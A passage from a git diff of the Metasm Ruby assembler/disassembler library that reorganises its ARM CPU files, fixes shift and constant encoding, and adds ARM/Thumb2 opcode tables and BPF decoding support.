24) when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf) when :stype; [:lsl, :lsr, :asr, :ror][r] @@ -88,7 +88,8 @@ class ARM di.instruction.args << case a when :rd, :rn, :rm; Reg.new field_val[a] when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs]) - when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]*2 + when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti] + when :i12; Expression[field_val[a]] when :i24; Expression[field_val[a] << 2] when :i8_r i = field_val[:i8] @@ -99,14 +100,14 @@ class ARM o = case a when :mem_rn_rm; Reg.new(field_val[:rm]) when :mem_rn_i8_12; field_val[:i8_12] - when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]*2) + when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]) when :mem_rn_i12; field_val[:i12] end Memref.new(b, o, field_val[:u], op.props[:baseincr]) when :reglist di.instruction.args.last.updated = true if op.props[:baseincr] msk = field_val[a] - l = RegList.new((0..15).map { |i| Reg.new(i) if (msk & (1 << i)) > 0 }.compact) + l = RegList.new((0..15).map { |n| Reg.new(n) if (msk & (1 << n)) > 0 }.compact) l.usermoderegs = true if op.props[:usermoderegs] l else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" @@ -118,7 +119,7 @@ class ARM end def decode_instr_interpret(di, addr) - if di.opcode.args.include? :i24 + if di.opcode.args[-1] == :i24 di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8] end di @@ -127,7 +128,7 @@ class ARM def backtrace_binding @backtrace_binding ||= init_backtrace_binding end - + def init_backtrace_binding @backtrace_binding ||= {} end @@ -140,9 +141,9 @@ class ARM else arg end } - + if binding = backtrace_binding[di.opcode.name] - bd = binding[di, *a] + binding[di, *a] else puts "unhandled instruction to backtrace: #{di}" if $VERBOSE # assume nothing except the 1st arg is modified @@ -154,7 +155,7 @@ class ARM end end - + def get_xrefs_x(dasm, di) if di.opcode.props[:setip] [di.instruction.args.last] diff --git a/lib/metasm/metasm/arm/encode.rb b/lib/metasm/metasm/cpu/arm/encode.rb similarity index 68% rename from lib/metasm/metasm/arm/encode.rb rename to lib/metasm/metasm/cpu/arm/encode.rb index 05f1393285..bf641d1088 100644 --- a/lib/metasm/metasm/arm/encode.rb +++ b/lib/metasm/metasm/cpu/arm/encode.rb @@ -4,15 +4,15 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' require 'metasm/encode' module Metasm class ARM - def encode_instr_op(section, instr, op) + def encode_instr_op(program, instr, op) base = op.bin set_field = lambda { |f, v| - v = v.reduce if v.kind_of? Expression + v = v.reduce if v.kind_of?(Expression) case f when :i8_12 base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]] @@ -42,7 +42,7 @@ class ARM when :rm_is set_field[:rm, arg.i] set_field[:stype, arg.stype] - set_field[:shifti, arg.shift/2] + set_field[:shifti, arg.shift] when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12 set_field[:rn, arg.base.i] case sym @@ -61,17 +61,32 @@ class ARM when :reglist set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }] when :i8_r - # XXX doublecheck this b = arg.reduce & 0xffffffff - r = (0..15).find { next true if b < 0x10 ; b = (b >> 2) | ((b & 3) << 30) } + r = (0..15).find { + next true if b < 0x100 + b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) + false + } + raise EncodeError, "Invalid constant" if not r set_field[:i8, b] set_field[:rotate, r] - when :i16, :i24 + when :i12, :i24 val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] end } - Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) + if op.args[-1] == :i24 + # convert label name for branch to relative offset + label = program.new_label('l_'+op.name) + target = val + target = target.rexpr if target.kind_of?(Expression) and target.op == :+ and not target.lexpr + val = Expression[[target, :-, [label, :+, 8]], :>>, 2] + + EncodedData.new('', :export => { label => 0 }) << + Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) + else + Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) + end end end end diff --git a/lib/metasm/metasm/arm/main.rb b/lib/metasm/metasm/cpu/arm/main.rb similarity index 98% rename from lib/metasm/metasm/arm/main.rb rename to lib/metasm/metasm/cpu/arm/main.rb index ab9a36a3a5..d474e6702c 100644 --- a/lib/metasm/metasm/arm/main.rb +++ b/lib/metasm/metasm/cpu/arm/main.rb @@ -68,8 +68,5 @@ class ARM < CPU @opcode_list end end - -class ARM_THUMB < ARM -end end diff --git a/lib/metasm/metasm/cpu/arm/opcodes.rb b/lib/metasm/metasm/cpu/arm/opcodes.rb new file mode 100644 index 0000000000..c535077a7b --- /dev/null +++ b/lib/metasm/metasm/cpu/arm/opcodes.rb @@ -0,0 +1,323 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/arm/main' + +module Metasm +class ARM + private + + # ARM MODE + + def addop(name, bin, *args) + args << :cond if not args.delete :uncond + + suppl = nil + o = Opcode.new name, bin + args.each { |a| + # Should Be One fields + if a == :sbo16 ; o.bin |= 0b1111 << 16 ; next ; end + if a == :sbo12 ; o.bin |= 0b1111 << 12 ; next ; end + if a == :sbo8 ; o.bin |= 0b1111 << 8 ; next ; end + if a == :sbo0 ; o.bin |= 0b1111 << 0 ; next ; end + + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + o.props.update a if a.kind_of?(Hash) + # special args -> multiple fields + suppl ||= { :i8_r => [:i8, :rotate], :rm_is => [:rm, :stype, :shifti], + :rm_rs => [:rm, :stype, :rs], :mem_rn_rm => [:rn, :rm, :rsx, :u], + :mem_rn_i8_12 => [:rn, :i8_12, :u], + :mem_rn_rms => [:rn, :rm, :stype, :shifti, :i], + :mem_rn_i12 => [:rn, :i12, :u] + }[a] + } + + args.concat suppl if suppl + + args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } + + @opcode_list << o + end + + def addop_data_s(name, op, a1, a2, *h) + addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h + addop name, op, a1, a2, :rm_is, *h + addop name, op | (1 << 4), a1, a2, :rm_rs, *h + end + def addop_data(name, op, a1, a2) + addop_data_s name, op << 21, a1, a2 + addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length + end + + def addop_load_puw(name, op, *a) + addop name, op, {:baseincr => :post}, :rd, :u, *a + addop name, op | (1 << 24), :rd, :u, *a + addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a + end + def addop_load_lsh_o(name, op) + addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} + addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} + end + def addop_load_lsh + op = 9 << 4 + addop_load_lsh_o 'strh', op | (1 << 5) + addop_load_lsh_o 'ldrd', op | (1 << 6) + addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5) + addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) + addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) + addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) + end + + def addop_load_puwt(name, op, *a) + addop_load_puw name, op, *a + addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a + end + def addop_load_o(name, op, *a) + addop_load_puwt name, op, :mem_rn_i12, *a + addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a + end + def addop_load(name, op) + addop_load_o name, op + addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length + end + + def addop_ldm_go(name, op, *a) + addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a + end + def addop_ldm_w(name, op, *a) + addop_ldm_go name, op, *a # base reg untouched + addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated + end + def addop_ldm_s(name, op) + addop_ldm_w name, op # transfer regs + addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs + end + def addop_ldm_p(name, op) + addop_ldm_s name+'a', op # target memory included + addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr + end + def addop_ldm_u(name, op) + addop_ldm_p name+'d', op # transfer made downward + addop_ldm_p name+'i', op | (1 << 23) # transfer made upward + end + def addop_ldm(name, op) + addop_ldm_u name, op + end + + # ARMv6 instruction set, aka arm7/arm9 + def init_arm_v6 + @opcode_list = [] + + [:baseincr, :cond, :cond_name_off, :usermoderegs, :tothumb, :tojazelle + ].each { |p| @valid_props[p] = true } + + [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, :rm_rs, :rm_is, + :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 + ].each { |p| @valid_args[p] = true } + + @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, + :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, + :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, + :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, + :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, + :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf + + @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, + :crn => 16, :crd => 12, :crm => 0, :cpn => 8, + :rnx => 16, :rdx => 12, :rsx => 8, + :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, + :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, + :u => 23, :mask => 16, :sbo => 12, :cond => 28 + + addop_data 'and', 0, :rd, :rn + addop_data 'eor', 1, :rd, :rn + addop_data 'xor', 1, :rd, :rn + addop_data 'sub', 2, :rd, :rn + addop_data 'rsb', 3, :rd, :rn + addop_data 'add', 4, :rd, :rn + addop_data 'adc', 5, :rd, :rn + addop_data 'sbc', 6, :rd, :rn + addop_data 'rsc', 7, :rd, :rn + addop_data_s 'tst', (8 << 21) | (1 << 20), :rdx, :rn + addop_data_s 'teq', (9 << 21) | (1 << 20), :rdx, :rn + addop_data_s 'cmp', (10 << 21) | (1 << 20), :rdx, :rn + addop_data_s 'cmn', (11 << 21) | (1 << 20), :rdx, :rn + addop_data 'orr', 12, :rd, :rn + addop_data 'or', 12, :rd, :rn + addop_data 'mov', 13, :rd, :rnx + addop_data 'bic', 14, :rd, :rn + addop_data 'mvn', 15, :rd, :rnx + + addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 + addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip + addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef + addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :uncond, :i24 + addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm, :sbo16, :sbo12, :sbo8 + addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm, :sbo16, :sbo12, :sbo8 + addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle, :sbo16, :sbo12, :sbo8 + + addop_load 'str', (1 << 26) + addop_load 'ldr', (1 << 26) | (1 << 20) + addop_load_lsh + addop_ldm 'stm', (1 << 27) + addop_ldm 'ldm', (1 << 27) | (1 << 20) + # TODO aliases (http://www.davespace.co.uk/arm/introduction-to-arm/stack.html) + # fd = full descending stmfd/ldmfd = stmdb/ldmia + # ed = empty descending stmed/ldmed = stmda/ldmib + # fa = full ascending stmfa/ldmfa = stmib/ldmda + # ea = empty ascending stmea/ldmea = stmia/ldmdb + + # TODO mrs, [qus]add/sub* + addop 'clz', (0b00010110 << 20) | (0b0001 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'ldrex', (0b00011001 << 20) | (0b1001 << 4), :rd, :rn, :sbo8, :sbo0 + addop 'strex', (0b00011000 << 20) | (0b1001 << 4), :rd, :rm, :rn, :sbo8 + addop 'rev', (0b01101011 << 20) | (0b0011 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'rev16', (0b01101011 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'revsh', (0b01101111 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'sel', (0b01101000 << 20) | (0b1011 << 4), :rd, :rn, :rm, :sbo8 + + end + + + + # THUMB2 MODE + + def addop_t(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + o.props.update a if a.kind_of?(Hash) + } + + args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } + + @opcode_list_t << o + end + + def init_arm_thumb2 + @opcode_list_t = [] + @valid_props_t = {} + @valid_args_t = {} + @fields_mask_t = {} + @fields_shift_t = {} + + [:i16, :i16_3_8, :i16_rd].each { |p| @valid_props_t[p] = true } + [:i5, :rm, :rn, :rd].each { |p| @valid_args_t[p] = true } + @fields_mask_t.update :i5 => 0x1f, :i3 => 7, :i51 => 0x5f, + :rm => 7, :rn => 7, :rd => 7, :rdn => 7, :rdn8 => 7 + @fields_shift_t.update :i5 => 6, :i3 => 6, :i51 => 3, + :rm => 6, :rn => 3, :rd => 0, :rdn => 0, :rdn8 => 8 + + addop_t 'mov', 0b000_00 << 11, :rd, :rm + addop_t 'lsl', 0b000_00 << 11, :rd, :rm, :i5 + addop_t 'lsr', 0b000_01 << 11, :rd, :rm, :i5 + addop_t 'asr', 0b000_10 << 11, :rd, :rm, :i5 + + addop_t 'add', 0b000_1100 << 9, :rd, :rn, :rm + addop_t 'add', 0b000_1110 << 9, :rd, :rn, :i3 + addop_t 'sub', 0b000_1101 << 9, :rd, :rn, :rm + addop_t 'sub', 0b000_1111 << 9, :rd, :rn, :i3 + + addop_t 'mov', 0b001_00 << 10, :rdn8, :i8 + addop_t 'cmp', 0b001_01 << 10, :rdn8, :i8 + addop_t 'add', 0b001_10 << 10, :rdn8, :i8 + addop_t 'sub', 0b001_11 << 10, :rdn8, :i8 + + addop_t 'and', (0b010000 << 10) | ( 0 << 6), :rdn, :rm + addop_t 'eor', (0b010000 << 10) | ( 1 << 6), :rdn, :rm # xor + addop_t 'lsl', (0b010000 << 10) | ( 2 << 6), :rdn, :rm + addop_t 'lsr', (0b010000 << 10) | ( 3 << 6), :rdn, :rm + addop_t 'asr', (0b010000 << 10) | ( 4 << 6), :rdn, :rm + addop_t 'adc', (0b010000 << 10) | ( 5 << 6), :rdn, :rm + addop_t 'sbc', (0b010000 << 10) | ( 6 << 6), :rdn, :rm + addop_t 'ror', (0b010000 << 10) | ( 7 << 6), :rdn, :rm + addop_t 'tst', (0b010000 << 10) | ( 8 << 6), :rdn, :rm + addop_t 'rsb', (0b010000 << 10) | ( 9 << 6), :rdn, :rm + addop_t 'cmp', (0b010000 << 10) | (10 << 6), :rdn, :rm + addop_t 'cmn', (0b010000 << 10) | (11 << 6), :rdn, :rm + addop_t 'orr', (0b010000 << 10) | (12 << 6), :rdn, :rm # or + addop_t 'mul', (0b010000 << 10) | (13 << 6), :rdn, :rm + addop_t 'bic', (0b010000 << 10) | (14 << 6), :rdn, :rm + addop_t 'mvn', (0b010000 << 10) | (15 << 6), :rdn, :rm + + addop_t 'add', 0b010001_00 << 8, :rdn, :rm, :dn + addop_t 'cmp', 0b010001_01 << 8, :rdn, :rm, :dn + addop_t 'mov', 0b010001_10 << 8, :rdn, :rm, :dn + + addop_t 'bx', 0b010001_110 << 7, :rm + addop_t 'blx', 0b010001_111 << 7, :rm + + addop_t 'ldr', 0b01001 << 11, :rd, :pc_i8 + addop_t 'str', 0b0101_000 << 9, :rd, :rn, :rm + addop_t 'strh', 0b0101_001 << 9, :rd, :rn, :rm + addop_t 'strb', 0b0101_010 << 9, :rd, :rn, :rm + addop_t 'ldrsb', 0b0101_011 << 9, :rd, :rn, :rm + addop_t 'ldr', 0b0101_100 << 9, :rd, :rn, :rm + addop_t 'ldrh', 0b0101_101 << 9, :rd, :rn, :rm + addop_t 'ldrb', 0b0101_110 << 9, :rd, :rn, :rm + addop_t 'ldrsh', 0b0101_111 << 9, :rd, :rn, :rm + + addop_t 'str', 0b01100 << 11, :rd, :rn, :i5 + addop_t 'ldr', 0b01101 << 11, :rd, :rn, :i5 + addop_t 'strb', 0b01110 << 11, :rd, :rn, :i5 + addop_t 'ldrb', 0b01111 << 11, :rd, :rn, :i5 + addop_t 'strh', 0b10000 << 11, :rd, :rn, :i5 + addop_t 'ldrh', 0b10001 << 11, :rd, :rn, :i5 + addop_t 'str', 0b10010 << 11, :rd, :sp_i8 + addop_t 'ldr', 0b10011 << 11, :rd, :sp_i8 + addop_t 'adr', 0b10100 << 11, :rd, :pc, :i8 + addop_t 'add', 0b10101 << 11, :rd, :sp, :i8 + + # 0b1011 misc + addop_t 'add', 0b1011_0000_0 << 7, :sp, :i7 + addop_t 'sub', 0b1011_0000_1 << 7, :sp, :i7 + addop_t 'sxth', 0b1011_0010_00 << 6, :rd, :rn + addop_t 'sxtb', 0b1011_0010_01 << 6, :rd, :rn + addop_t 'uxth', 0b1011_0010_10 << 6, :rd, :rn + addop_t 'uxtb', 0b1011_0010_11 << 6, :rd, :rn + addop_t 'cbz', 0b1011_0001 << 8, :rd, :i51 + addop_t 'cbnz', 0b1011_1001 << 8, :rd, :i51 + addop_t 'push', 0b1011_0100 << 8, :rlist + addop_t 'push', 0b1011_0101 << 8, :rlist + addop_t 'pop', 0b1011_1100 << 8, :rlist + addop_t 'pop', 0b1011_1101 << 8, :rlist + #addop_t 'unpredictable', 0b1011_0110_0100_0000, :i4 + addop_t 'setendle', 0b1011_0110_0101_0000 + addop_t 'setendbe', 0b1011_0110_0101_1000 + addop_t 'cps', 0b1011_0110_0110_0000 + #addop_t 'unpredictable', 0b1011_0110_0110_1000, :msk_0001_0111 + addop_t 'rev', 0b1011_1010_00 << 6, :rd, :rn + addop_t 'rev16', 0b1011_1010_01 << 6, :rd, :rn + addop_t 'revsh', 0b1011_1010_11 << 6, :rd, :rn + addop_t 'bkpt', 0b1011_1110 << 8, :i8 + addop_t 'it', 0b1011_1111 << 8, :itcond, :itmsk + addop_t 'nop', 0b1011_1111_0000_0000 + addop_t 'yield', 0b1011_1111_0000_0001 + addop_t 'wfe', 0b1011_1111_0000_0010 + addop_t 'wfi', 0b1011_1111_0000_0011 + addop_t 'sev', 0b1011_1111_0000_0100 + addop_t 'nop', 0b1011_1111_0000_0000, :i4 + + + addop_t 'stmia', 0b11000 << 11, :rn, :rlist # stmea + addop_t 'ldmia', 0b11001 << 11, :rn, :rlist # ldmfd + addop_t 'undef', 0b1101_1110 << 8, :i8 + addop_t 'svc', 0b1101_1111 << 8, :i8 + addop_t 'b', 0b1101 << 12, :cond, :i8 + addop_t 'b', 0b11100 << 11, :i11 + + # thumb-32 + end + + def init_arm_v6_thumb2 + init_arm_v6 + init_arm_thumb2 + end + alias init_latest init_arm_v6_thumb2 +end +end diff --git a/lib/metasm/metasm/arm/parse.rb b/lib/metasm/metasm/cpu/arm/parse.rb similarity index 74% rename from lib/metasm/metasm/arm/parse.rb rename to lib/metasm/metasm/cpu/arm/parse.rb index a7bf5ab941..2a1bdfe44c 100644 --- a/lib/metasm/metasm/arm/parse.rb +++ b/lib/metasm/metasm/cpu/arm/parse.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' require 'metasm/parse' module Metasm @@ -26,24 +26,32 @@ class ARM def parse_arg_valid?(op, sym, arg) case sym - when :rd, :rs, :rn, :rm; arg.kind_of? Reg and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) - when :rm_rs; arg.kind_of? Reg and arg.shift.kind_of? Reg - when :rm_is; arg.kind_of? Reg and arg.shift.kind_of? Integer - when :i16, :i24, :i8_12, :i8_r; arg.kind_of? Expression + when :rd, :rs, :rn, :rm; arg.kind_of?(Reg) and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) + when :rm_rs; arg.kind_of?(Reg) and arg.shift.kind_of?(Reg) + when :rm_is; arg.kind_of?(Reg) and arg.shift.kind_of?(Integer) + when :i12, :i24, :i8_12; arg.kind_of?(Expression) + when :i8_r + if arg.kind_of?(Expression) + b = arg.reduce + !b.kind_of?(Integer) or (0..15).find { + b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) + b < 0x100 } + end when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 os = case sym when :mem_rn_rm; :rm when :mem_rn_i8_12; :i8_12 when :mem_rn_rms; :rm_rs - when :mem_rn_i12; :i16 + when :mem_rn_i12; :i12 end - arg.kind_of? Memref and parse_arg_valid?(op, os, arg.offset) - when :reglist; arg.kind_of? RegList + arg.kind_of?(Memref) and parse_arg_valid?(op, os, arg.offset) + when :reglist; arg.kind_of?(RegList) end # TODO check flags on reglist, check int values end def parse_argument(lexer) + raise lexer, "unexpected EOS" if not lexer.nexttok if Reg.s_to_i[lexer.nexttok.raw] arg = Reg.new Reg.s_to_i[lexer.readtok.raw] lexer.skip_space @@ -62,22 +70,24 @@ class ARM when '!' lexer.readtok arg.updated = true - end + end if lexer.nexttok elsif lexer.nexttok.raw == '{' lexer.readtok arg = RegList.new loop do - raise "unterminated reglist" if lexer.eos? lexer.skip_space + raise "unterminated reglist" if lexer.eos? if Reg.s_to_i[lexer.nexttok.raw] arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw]) lexer.skip_space + raise "unterminated reglist" if lexer.eos? end case lexer.nexttok.raw when ','; lexer.readtok when '-' lexer.readtok lexer.skip_space + raise "unterminated reglist" if lexer.eos? if not r = Reg.s_to_i[lexer.nexttok.raw] raise lexer, "reglist parse error: invalid range" end @@ -95,20 +105,22 @@ class ARM end elsif lexer.nexttok.raw == '[' lexer.readtok + raise "unexpected EOS" if lexer.eos? if not base = Reg.s_to_i[lexer.nexttok.raw] raise lexer, 'invalid mem base (reg expected)' end base = Reg.new Reg.s_to_i[lexer.readtok.raw] + raise "unexpected EOS" if lexer.eos? if lexer.nexttok.raw == ']' lexer.readtok - closed = true + #closed = true end - if lexer.nexttok.raw != ',' + if !lexer.nexttok or lexer.nexttok.raw != ',' raise lexer, 'mem off expected' end lexer.readtok off = parse_argument(lexer) - if not off.kind_of? Expression and not off.kind_of? Reg + if not off.kind_of?(Expression) and not off.kind_of?(Reg) raise lexer, 'invalid mem off (reg/imm expected)' end case lexer.nexttok and lexer.nexttok.raw diff --git a/lib/metasm/metasm/arm/render.rb b/lib/metasm/metasm/cpu/arm/render.rb similarity index 89% rename from lib/metasm/metasm/arm/render.rb rename to lib/metasm/metasm/cpu/arm/render.rb index 473071d35f..a39e808752 100644 --- a/lib/metasm/metasm/arm/render.rb +++ b/lib/metasm/metasm/cpu/arm/render.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory require 'metasm/render' -require 'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' module Metasm class ARM @@ -19,7 +19,7 @@ class ARM ["#{r} RRX"] else case s = @shift - when Integer; s = Expression[s] + when Integer; s = Expression[s == 0 ? 32 : s] # lsl and ror already accounted for when Reg; s = self.class.i_to_s[s.i] end ["#{r} #{@stype.to_s.upcase} #{s}"] diff --git a/lib/metasm/metasm/dalvik.rb b/lib/metasm/metasm/cpu/bpf.rb similarity index 75% rename from lib/metasm/metasm/dalvik.rb rename to lib/metasm/metasm/cpu/bpf.rb index 4efa34fc07..58a22abf0c 100644 --- a/lib/metasm/metasm/dalvik.rb +++ b/lib/metasm/metasm/cpu/bpf.rb @@ -5,4 +5,5 @@ require 'metasm/main' -require 'metasm/dalvik/decode' +require 'metasm/cpu/bpf/decode' +require 'metasm/cpu/bpf/render' diff --git a/lib/metasm/metasm/cpu/bpf/decode.rb b/lib/metasm/metasm/cpu/bpf/decode.rb new file mode 100644 index 0000000000..30451389fc --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/decode.rb @@ -0,0 +1,142 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/bpf/opcodes' +require 'metasm/decode' + +module Metasm +class BPF + def build_bin_lookaside + opcode_list.inject({}) { |h, op| h.update op.bin => op } + end + + # tries to find the opcode encoded at edata.ptr + def decode_findopcode(edata) + return if edata.ptr > edata.data.length-8 + di = DecodedInstruction.new self + code = edata.data[edata.ptr, 2].unpack('v')[0] + return di if di.opcode = @bin_lookaside[code] + end + + def decode_instr_op(edata, di) + op = di.opcode + di.instruction.opname = op.name + di.bin_length = 8 + code, jt, jf, k = edata.read(8).unpack('vCCV') + + op.args.each { |a| + di.instruction.args << case a + when :k; Expression[k] + when :x; Reg.new(:x) + when :a; Reg.new(:a) + when :len; Reg.new(:len) + when :p_k; PktRef.new(nil, Expression[k], op.props[:msz]) + when :p_xk; PktRef.new(Reg.new(:x), Expression[k], op.props[:msz]) + when :m_k; MemRef.new(nil, Expression[4*k], 4) + when :jt; Expression[jt] + when :jf; Expression[jf] + else raise "unhandled arg #{a}" + end + } + + # je a, x, 0, 12 -> jne a, x, 12 + # je a, x, 12, 0 -> je a, x, 12 + if op.args[2] == :jt and di.instruction.args[2] == Expression[0] + di.opcode = op.dup + di.opcode.props.delete :stopexec + di.instruction.opname = { 'jg' => 'jle', 'jge' => 'jl', 'je' => 'jne', 'jtest' => 'jntest' }[di.instruction.opname] + di.instruction.args.delete_at(2) + elsif op.args[3] == :jf and di.instruction.args[3] == Expression[0] + di.opcode = op.dup + di.opcode.props.delete :stopexec + di.instruction.args.delete_at(3) + end + + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] + delta = di.instruction.args[-1].reduce + 1 + arg = Expression[addr, :+, 8*delta].reduce + di.instruction.args[-1] = Expression[arg] + + if di.instruction.args.length == 4 + delta = di.instruction.args[2].reduce + 1 + arg = Expression[addr, :+, 8*delta].reduce + di.instruction.args[2] = Expression[arg] + end + end + + di + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'add'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } + when 'sub'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } + when 'mul'; lambda { |di, a0, a1| { a0 => Expression[a0, :*, a1] } } + when 'div'; lambda { |di, a0, a1| { a0 => Expression[a0, :/, a1] } } + when 'shl'; lambda { |di, a0, a1| { a0 => Expression[a0, :<<, a1] } } + when 'shr'; lambda { |di, a0, a1| { a0 => Expression[a0, :>>, a1] } } + when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } } + when 'msh'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xf], :<<, 2] } } + when 'jmp', 'jg', 'jge', 'je', 'jtest', 'ret'; lambda { |di, *a| { } } + end + @backtrace_binding[op] ||= binding if binding + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when PktRef, MemRef, Reg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.name] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + {:incomplete_binding => Expression[1]} + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + if di.instruction.args.length == 4 + di.instruction.args[-2, 2] + else + di.instruction.args[-1, 1] + end + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/bpf/main.rb b/lib/metasm/metasm/cpu/bpf/main.rb new file mode 100644 index 0000000000..b070065cd7 --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/main.rb @@ -0,0 +1,60 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class BPF < CPU + class Reg + attr_accessor :v + def initialize(v) + @v = v + end + + def symbolic(orig=nil) ; @v ; end + end + + class MemRef + attr_accessor :base, :offset, :msz + + def memtype + :mem + end + + def initialize(base, offset, msz) + @base = base + @offset = offset + @msz = msz + end + + def symbolic(orig) + p = Expression[memtype] + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p, @msz, orig] + end + end + + class PktRef < MemRef + def memtype + :pkt + end + end + + def initialize(family = :latest) + super() + @endianness = :big + @size = 32 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/bpf/opcodes.rb b/lib/metasm/metasm/cpu/bpf/opcodes.rb new file 